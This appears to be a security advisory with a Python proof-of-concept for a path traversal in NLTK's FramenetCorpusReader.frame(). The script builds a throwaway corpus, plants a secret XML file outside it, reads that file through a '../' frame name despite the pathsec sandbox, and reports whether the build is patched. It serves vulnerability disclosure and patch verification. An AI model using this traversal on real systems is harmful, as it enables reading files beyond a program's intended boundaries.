Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

 1"""
 2 
 3import os
 4import sys
 5import tempfile
 6import warnings
 7from pathlib import Path
 8 
 9warnings.filterwarnings("ignore")
10 
11# --- Turn the documented strict sandbox ON, before importing the reader. ---
12import nltk.pathsec as ps
13ps.ENFORCE = True
14 
15import nltk
16from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
17 
18FRAME_XML = (
19    '<?xml version="1.0" encoding="UTF-8"?>\n'
20    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
21    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
22    "</frame>\n"
23)
24 
25BANNER = """\
26===========================================================
27 NLTK FramenetCorpusReader.frame() Path Traversal PoC
28 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
29===========================================================""".format(
30    ver=nltk.__version__, enforce=ps.ENFORCE
31)
32 
33 
34def build_corpus():
35    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
36    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
37    root = base / "corpora" / "framenet"
38    for d in ("frame", "fulltext", "lu"):
39        (root / d).mkdir(parents=True)
40    (root / "frameIndex.xml").write_text(
41        '<?xml version="1.0"?><frameIndex></frameIndex>'
42    )
43    (root / "frRelation.xml").write_text(
44        '<?xml version="1.0"?><frameRelations></frameRelations>'
45    )
46 
47    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
48    secret = base / "private"
49    secret.mkdir()
50    (secret / "secret.xml").write_text(FRAME_XML)
51 
52    return base, root, secret / "secret.xml"
53 
54 
55def main():
56    print(BANNER)
57    base, root, secret_path = build_corpus()
58    print(f"[*] corpus root : {root}")
59    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")
60 
61    fn = FramenetCorpusReader(str(root), [])
62 
63    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
64    evil = os.path.join("..", "..", "..", "private", "secret")
65    print(f"[*] calling   fn.frame({evil!r})")
66 
67    try:
68        f = fn.frame(evil)
69        definition = f["definition"]
70        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
71            print("\n  [VULN] out-of-root file was read and returned to caller")
72            print(f"         frame name : {evil}")
73            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
74            print(f"         definition : {definition}")
75            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
76            verdict = "VULNERABLE"
77        else:
78            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
79            verdict = "INCONCLUSIVE"
80    except FramenetError as e:
81        # Patched build (#3581): _reject_unsafe_path_component raises before open().
82        print(f"\n  [SAFE] FramenetError: {e}")
83        print("         traversal rejected before any file was opened (patched)")
84        verdict = "NOT VULNERABLE"
85    except Exception as e:
86        print(f"\n  [SAFE] {type(e).__name__}: {e}")
87        verdict = "NOT VULNERABLE"
88 
89    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
90    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
91    try:
92        fn.frame("Definitely_Not_A_Frame")
93        print("  [?] unexpectedly succeeded")
94    except Exception as e:
95        print(f"  ok -> {type(e).__name__}: {e}")
96 
97    print("\n" + "=" * 59)
98    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
99    print("=" * 59)
100 
101 
102if __name__ == "__main__":
103    main()